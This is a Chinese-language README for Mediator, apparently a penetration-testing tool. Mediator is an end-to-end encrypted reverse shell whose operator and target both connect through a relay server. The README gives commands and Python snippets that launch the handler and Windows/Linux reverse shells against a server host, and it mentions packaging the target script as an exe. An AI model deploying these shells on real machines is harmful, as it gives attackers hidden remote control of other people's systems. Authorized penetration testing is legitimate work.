Mediator 是一个端到端加密的反向 shell,操作员和 shell 连接到一个"中介"服务器,该服务器桥接连接。这消除了操作员/处理程序设置端口转发以监听连接的需要。Mediator 还允许您创建插件来扩展反向 shell 的功能。
您可以将 Mediator 的脚本作为独立可执行文件运行,也可以导入它们以集成到其他渗透测试和事件响应工具中。
受端到端加密聊天应用的启发,Mediator 对反向 shell 的客户端/服务器模型采用了独特的方法。Mediator 使用:
反向 shell 和处理程序通过连接密钥连接到 Mediator 服务器。服务器在端口 80 上监听处理程序连接,在端口 443 上监听反向 shell 连接。当客户端连接到中介时,服务器根据其各自的类型和连接密钥对客户端进行排队。当反向 shell 和操作员使用相同的密钥连接到服务器时,服务器将桥接这两个连接。然后,两个客户端之间进行密钥交换,反向 shell 和操作员之间的所有通信都是端到端加密的。这确保了服务器无法窥探它正在转发的流。
插件允许您添加额外的命令,这些命令可以在操作员主机、目标主机或两者上执行代码!有关插件的更多信息,请参阅插件目录中的 README。
客户端脚本可以在 Windows 或 Linux 上运行,但您需要在 Linux 主机上启动服务器(mediator.py)。该服务器是纯 Python 编写的,因此无需安装依赖。您可以通过以下方式运行服务器脚本:
$ python3 mediator.py
或者您可以使用提供的 Dockerfile 构建 Docker 镜像并在容器中运行(确保发布端口 80 和 443)。
您需要安装 requirements.txt 中的依赖才能使客户端工作。您可以使用以下命令安装:
$ pip3 install -r requirements.txt
请参阅底部的提示和提醒以获取有关分发客户端而无需担心依赖的帮助。
处理程序和反向 shell 可以在其他 Python 脚本中使用,或直接通过命令行使用。在这两种情况下,客户端都可以接受服务器地址和连接密钥的参数。这些参数的使用方法如下所述。
Mediator 服务器地址
对于Python 脚本用法,在实例化时需要提供中介主机的地址:
Handler 类
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell 类
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
如果直接从 shell执行客户端脚本,您可以硬编码地址到脚本底部,或者通过 -s 或 --server 标志指定服务器地址:
handler.py
$ python3 handler.py -s example.com
> python windowsTarget.py -s example.com
连接密钥
当两个处理程序或两个反向 shell 使用相同的连接密钥连接到中介服务器时,只有第一个连接会被排队等待匹配。直到排队的连接超时(30秒)或与对应连接匹配之前,所有其他尝试使用相同连接密钥连接的同类客户端都将被丢弃。
确保每个处理程序使用唯一的连接密钥非常重要,以避免出现竞态条件导致错误的 shell 被分配给操作员。
只有前缀为 "#!ConnectionKey_" 的密钥才会被服务器接受。默认连接密钥是 "#!ConnectionKey_CHANGE_ME!!!"。
对于Python 脚本用法,可以在实例化时选择提供连接密钥:
Handler 类
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell 类
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
如果直接从 shell执行客户端脚本,您可以硬编码连接密钥到脚本底部,或者通过 -c 或 --connection-key 标志指定连接密钥:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile 标志轻松为 windowsTarget.py 创建 exe 文件。